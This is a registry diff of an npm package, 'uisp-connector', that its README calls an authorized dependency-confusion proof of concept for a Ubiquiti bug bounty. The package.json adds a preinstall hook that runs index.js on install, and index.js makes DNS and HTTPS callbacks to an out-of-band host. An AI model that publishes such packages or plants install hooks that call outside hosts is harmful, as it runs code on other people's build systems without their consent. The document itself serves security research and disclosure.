uisp-connector 0.0.1-security-research

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +12 -0
  2. package/index.js +5 -0
  3. package/package.json +11 -0
package/README.md ADDED
@@ -0,0 +1,12 @@
1
+ # Security Research — Dependency Confusion PoC
2
+
3
+ This package was published as part of authorized security research on the Ubiquiti bug bounty program (HackerOne).
4
+
5
+ **This is NOT malicious software.** It performs a single DNS and HTTPS callback to a researcher-controlled server to prove that this package name is fetched by build systems. No data is exfiltrated, no system is modified.
6
+
7
+ ## Contact
8
+ - HackerOne: https://hackerone.com/rcl-lore
9
+ - If you received a callback from this package, please contact me via HackerOne.
10
+
11
+ ## What to do
12
+ If your build system fetched this package, it means your internal dependency resolution is vulnerable to dependency confusion. Please scope your private packages correctly and use `.npmrc` registry overrides.
package/index.js ADDED
@@ -0,0 +1,5 @@
1
+ const https = require('https');
2
+ const dns = require('dns');
3
+ const id = 'uisp-connector';
4
+ dns.resolve(`${id}.d8hiivedv3ok8hrng5eghchyw4hwsioaz.oast.online`, () => {});
5
+ https.get(`https://d8hiivedv3ok8hrng5eghchyw4hwsioaz.oast.online/${id}`, () => {}).on('error', () => {});
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "uisp-connector",
3
+ "version": "0.0.1-security-research",
4
+ "description": "Security research — dependency confusion PoC for Ubiquiti. Contact: https://hackerone.com/rcl-lore",
5
+ "scripts": {
6
+ "preinstall": "node index.js || true"
7
+ },
8
+ "keywords": ["security", "research", "ubiquiti"],
9
+ "author": "rcl-lore (https://hackerone.com/rcl-lore)",
10
+ "license": "MIT"
11
+ }